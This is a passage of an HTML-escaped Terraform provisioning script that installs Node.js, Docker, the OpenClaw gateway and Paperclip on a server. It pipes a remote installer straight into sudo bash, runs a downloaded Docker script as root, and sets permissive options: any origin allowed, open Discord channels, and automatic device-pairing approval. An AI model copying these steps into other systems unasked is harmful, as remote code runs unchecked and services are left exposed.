&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;export DEBIAN_FRONTEND=noninteractive&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# iptables &amp;mdash; SSH + 서비스 포트 + HTTPS 먼저 열기 (REJECT 규칙보다 앞에)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo iptables -I INPUT 1 -p tcp --dport 22&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-j ACCEPT || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo iptables -I INPUT 2 -p tcp --dport 443&amp;nbsp;&amp;nbsp; -j ACCEPT || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo iptables -I INPUT 3 -p tcp --dport 3443&amp;nbsp;&amp;nbsp;-j ACCEPT || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo iptables -I INPUT 4 -p tcp --dport 18789 -j ACCEPT || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo iptables -I INPUT 5 -p tcp --dport 3100&amp;nbsp;&amp;nbsp;-j ACCEPT || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo iptables-save | sudo tee /etc/iptables.rules &amp;gt; /dev/null || true&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 기본 패키지 + nginx (HTTPS reverse proxy용)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo apt-get update -y&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo apt-get install -y git curl wget build-essential jq python3 nginx openssl&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# ── Node.js 22.x 강제 설치 ──
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# cloud-init이 Node 20.x를 먼저 설치하므로 조건 없이 항상 22.x 설치
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '&amp;gt;&amp;gt;&amp;gt; Node.js 22.x 강제 설치 (기존 버전 무시)'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo apt-get install -y --allow-downgrades nodejs&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; Node version: $(node -v)\&quot;&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 현재 Node 버전 검증 (22.12 이상 필수)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;NODE_MAJOR=$(node -v | sed 's/v//' | cut -d. -f1)&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;if [ \&quot;$NODE_MAJOR\&quot; -lt 22 ]; then&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;echo 'ERROR: Node.js 22+ 설치 실패' &amp;amp;&amp;amp; exit 1&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fi&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# npm 글로벌 도구 &amp;mdash; Node 22 기준으로 재설치
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo npm install -g pnpm@latest&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo npm install -g pm2@latest&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; pnpm version: $(pnpm -v)\&quot;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; pm2&amp;nbsp;&amp;nbsp;version: $(pm2 -v)\&quot;&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Docker (이미 설치되어 있으면 건너뜀)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;if ! command -v docker &amp;gt; /dev/null 2&amp;gt;&amp;amp;1; then&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;curl -fsSL https://get.docker.com -o /tmp/get-docker.sh &amp;amp;&amp;amp; sudo sh /tmp/get-docker.sh&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;sudo usermod -aG docker ubuntu&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fi&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo systemctl enable docker &amp;amp;&amp;amp; sudo systemctl start docker || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;# ── Phase 1: PM2 정리 &amp;amp; 기존 프로세스 전부 제거 ────────────
&amp;nbsp;&amp;nbsp;provisioner &quot;remote-exec&quot; {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inline = [
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;set -e&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '=== PM2 클린업 ==='&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 기존 PM2 프로세스 &amp;amp; 데몬 완전 제거
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pm2 kill 2&amp;gt;/dev/null || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pm2 flush 2&amp;gt;/dev/null || true&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# OpenClaw gateway가 포트를 잡고 있을 수 있으므로 강제 종료
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pkill -f 'openclaw.mjs' 2&amp;gt;/dev/null || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pkill -f 'openclaw gateway' 2&amp;gt;/dev/null || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sleep 2&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 포트 18789/3100/13100 을 사용 중인 프로세스 정리
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo fuser -k 18789/tcp 2&amp;gt;/dev/null || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo fuser -k 3100/tcp&amp;nbsp;&amp;nbsp;2&amp;gt;/dev/null || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo fuser -k 13100/tcp 2&amp;gt;/dev/null || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sleep 1&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '&amp;gt;&amp;gt;&amp;gt; PM2 클린업 완료'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;# ── Phase 2: OpenClaw 설치 &amp;amp; 설정 ──────────────────────────
&amp;nbsp;&amp;nbsp;provisioner &quot;remote-exec&quot; {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inline = [
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;set -e&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '=== OpenClaw 설치 ==='&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# OpenClaw 글로벌 설치
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo npm install -g openclaw@latest&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; OpenClaw version: $(openclaw --version 2&amp;gt;/dev/null || echo 'unknown')\&quot;&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# ── OpenClaw 설정: openclaw config set CLI 사용 ──
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# (주의: 구버전의 agent 키가 아닌 새 스키마 사용)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;openclaw config set gateway.mode&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;local&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;openclaw config set gateway.bind&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lan&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;openclaw config set channels.discord.token '${var.discord_bot_token}'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# ── GitHub Copilot 프로바이더 인증 (device flow) ──
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# ⚠️ github-models 절대 사용 금지! 요청당 8K 토큰 제한 + 과금됨
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# github-copilot은 Copilot Pro 구독에 포함 (추가 비용 없음)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;openclaw models auth login-github-copilot --yes || echo 'Copilot 인증 실패 &amp;mdash; 수동으로 실행 필요'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;openclaw models set github-copilot/${var.llm_model}&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# trustedProxies + controlUi.allowedOrigins &amp;mdash; Python으로 주입
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;&amp;lt;-PYBLOCK
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;python3 -c &quot;
import json, os, pathlib

config_path = pathlib.Path(os.path.expanduser('~/.openclaw/openclaw.json'))
config = json.loads(config_path.read_text()) if config_path.exists() else {}

# nginx(127.0.0.1)를 trusted proxy로 등록 &amp;mdash; 프록시 경유 시 로컬 취급
config.setdefault('gateway', {})
config['gateway']['trustedProxies'] = ['127.0.0.1', '::1']

# Control UI 외부 origin 허용
config['gateway'].setdefault('controlUi', {})
config['gateway']['controlUi']['allowedOrigins'] = ['*']

# Discord 채널 정책: 'open'으로 설정하여 모든 채널에서 봇 응답 허용
# (기본값 'allowlist'는 허용 목록이 비어있어 모든 채널이 차단됨)
config.setdefault('channels', {})
config['channels'].setdefault('discord', {})
config['channels']['discord']['groupPolicy'] = 'open'

config_path.write_text(json.dumps(config, indent=2))
print('&amp;gt;&amp;gt;&amp;gt; OpenClaw config updated via Python')
&quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PYBLOCK
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# OpenClaw 설정 확인
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '&amp;gt;&amp;gt;&amp;gt; OpenClaw config:'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cat ~/.openclaw/openclaw.json | jq . 2&amp;gt;/dev/null || cat ~/.openclaw/openclaw.json&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# ── PM2용 bash wrapper 스크립트 생성 ──
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# PM2는 .mjs 심볼릭 링크에 -- 인자를 전달할 수 없으므로 wrapper 필요
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;OPENCLAW_MJS=$(readlink -f $(which openclaw) 2&amp;gt;/dev/null || echo '/usr/lib/node_modules/openclaw/openclaw.mjs')&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cat &amp;gt; /home/ubuntu/start-openclaw.sh &amp;lt;&amp;lt; 'WRAPPER'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;#!/bin/bash&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exec /usr/bin/node $OPENCLAW_MJS gateway&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;WRAPPER&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# wrapper 안의 $OPENCLAW_MJS를 실제 경로로 치환
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sed -i \&quot;s|\\$OPENCLAW_MJS|$OPENCLAW_MJS|g\&quot; /home/ubuntu/start-openclaw.sh&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;chmod +x /home/ubuntu/start-openclaw.sh&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; Wrapper script: $(cat /home/ubuntu/start-openclaw.sh)\&quot;&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# PM2로 OpenClaw gateway 실행
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pm2 start /home/ubuntu/start-openclaw.sh --name openclaw --interpreter bash&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sleep 8&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 첫 번째 대기 중인 장치 pairing 자동 승인
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;openclaw devices approve --latest 2&amp;gt;/dev/null || echo '대기 중인 pairing 요청 없음'&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pm2 logs openclaw --lines 15 --nostream || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '&amp;gt;&amp;gt;&amp;gt; OpenClaw 설치 완료'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;# ── Phase 3: Paperclip 설치 &amp;amp; 설정 ─────────────────────────
&amp;nbsp;&amp;nbsp;provisioner &quot;remote-exec&quot; {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inline = [
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;set -e&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo ''&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '=== Paperclip 설치 ==='&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Paperclip 소스 클론
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo mkdir -p /opt/paperclip&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sudo chown ubuntu:ubuntu /opt/paperclip&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cd /opt/paperclip&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;if [ ! -d '/opt/paperclip/.git' ]; then&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;git clone https://github.com/paperclipai/paperclip.git /opt/paperclip&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;else&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;cd /opt/paperclip &amp;amp;&amp;amp; git pull --ff-only || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fi&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cd /opt/paperclip&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# BETTER_AUTH_SECRET 생성 (변수 비어있으면 자동 생성)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;BETTER_AUTH_SECRET='${var.better_auth_secret}'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;if [ -z \&quot;$BETTER_AUTH_SECRET\&quot; ]; then&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;BETTER_AUTH_SECRET=$(openssl rand -hex 32)&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;&amp;nbsp;echo \&quot;&amp;gt;&amp;gt;&amp;gt; BETTER_AUTH_SECRET 자동 생성됨\&quot;&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fi&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# .env 생성
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cat &amp;gt; /opt/paperclip/.env &amp;lt;&amp;lt; EOT&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;LLM_MODEL=${var.llm_model}&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;NOTION_TOKEN=${var.notion_token}&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;DISCORD_CLIENT_ID=${var.discord_client_id}&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;COMPANY_NAME=bllocorp&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;HOST=0.0.0.0&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;PAPERCLIP_DEPLOYMENT_MODE=authenticated&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;PAPERCLIP_AUTH_BASE_URL_MODE=explicit&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;BETTER_AUTH_SECRET=$BETTER_AUTH_SECRET&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;PAPERCLIP_PUBLIC_URL=https://${local.server_ip}:3443&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;PAPERCLIP_AUTH_DISABLE_SIGN_UP=true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;EOT&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '&amp;gt;&amp;gt;&amp;gt; .env 생성 완료'&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Paperclip allowedHostnames config 생성 (외부 IP 접속 허용)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mkdir -p /home/ubuntu/.paperclip/instances/default&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;&amp;lt;-PYALLOWED
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;python3 -c &quot;
import json, pathlib
p = pathlib.Path('/home/ubuntu/.paperclip/instances/default/config.json')
if p.exists():
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = json.loads(p.read_text())
else:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = {}
hosts = set(c.get('allowedHostnames', []))
hosts.update(['localhost', '127.0.0.1', '${local.server_ip}'])
c['allowedHostnames'] = sorted(hosts)
p.write_text(json.dumps(c, indent=2))
print('&amp;gt;&amp;gt;&amp;gt; Paperclip allowedHostnames:', c['allowedHostnames'])
&quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PYALLOWED
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 의존성 설치
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cd /opt/paperclip&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pnpm install --frozen-lockfile 2&amp;gt;/dev/null || pnpm install&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# PM2용 bash wrapper 생성 (환경변수 .env 로드 + pnpm dev)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cat &amp;gt; /home/ubuntu/start-paperclip.sh &amp;lt;&amp;lt; 'PPWRAP'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;#!/bin/bash&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cd /opt/paperclip&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;set -a; source /opt/paperclip/.env; set +a&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;exec pnpm dev&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;PPWRAP&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;chmod +x /home/ubuntu/start-paperclip.sh&quot;,

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# PM2로 Paperclip 실행 (bash wrapper 경유 &amp;mdash; 환경변수 안정적 전달)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pm2 start /home/ubuntu/start-paperclip.sh --name paperclip --interpreter bash&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sleep 8&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pm2 logs paperclip --lines 15 --nostream || true&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;echo '&amp;gt;&amp;gt;&amp;gt; Paperclip 설치 완료'&quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;# ── Phase 3-b: OpenClaw agent API key 사전 생성 ─────────────
&amp;nbsp;&amp;nbsp;# Paperclip이 기동된 뒤 곧바로 agent API key를 생성하여
&amp;nbsp;&amp;nbsp;# ~/.openclaw/workspace/paperclip-claimed-api-key.json 에 저장.
&amp;nbsp;&amp;nbsp;# 이렇게 하면 첫 번째 heartbeat run에서 파일이 없어 실패하는 문제를 방지.
